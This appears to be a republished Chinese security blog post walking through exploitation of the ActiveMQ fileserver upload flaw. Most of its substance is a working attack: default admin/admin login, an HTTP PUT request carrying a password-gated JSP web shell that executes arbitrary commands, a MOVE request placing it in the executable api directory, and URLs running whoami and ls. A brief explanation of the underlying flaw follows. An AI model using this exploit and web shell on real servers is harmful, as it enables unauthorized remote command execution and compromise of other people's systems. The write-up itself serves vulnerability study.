ActiveMQ任意文件上传漏洞
2020-12-17 15:49:43 Author: www.freebuf.com(查看原文) 阅读量:359 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
开启服务端口:开启服务页面

登陆 (admin/admin)


进入根目录下的fileserver目录下

PUT  /fileserver/1.txt  HTTP/1.1

<%
        if("023".equals(request.getParameter("pwd"))){
                java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1){
                        out.println(new String(b));
                }
                out.print("</pre>");
        }
%>

查看目录下已经上传了文件

重新装包修改请求头

MOVE  /fileserver/1.txt  HTTP/1.1
Destination:file:///opt/activemq/webapps/api/testhacker.jsp
成功的响应标志
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)


http://IP:8161/api/testhacker.jsp?pwd=023&i=ls%20-l

http://IP:8161/api/testhacker.jsp?pwd=023&i=whoami


漏洞的原理

首先我们使用的put方式上传了1.txt文件到fileserver目录下面,但是在该目录下面的文件是不能够被执行的,执行JSP脚本的目录是admin或者是api目录下面,这两个目录具有执行JSP文件的权限(暂时不明白原理,先记住吧!!),但是这两个目录需要登陆才能够进入,所以可能会存在4XX的错误,这是没有权限的原因。
骚姿势:fileserver目录可以支持写入文件,并且该目录也支持move文件到其他的目录下面,因此我们可以通过上传shell脚本文件到fileserver目录下面,然后将该目录下面的文件移动到解析jsp文件的目录下面,这样就可以造成任意文件写入的漏洞。

参考资料:

https://www.freebuf.com/vuls/213760.html
https://www.jianshu.com/p/564fb8b54a67
https://blog.csdn.net/qq_38632151/article/details/102975086


文章来源: https://www.freebuf.com/articles/web/258110.html
如有侵权请联系:admin#unsafe.sh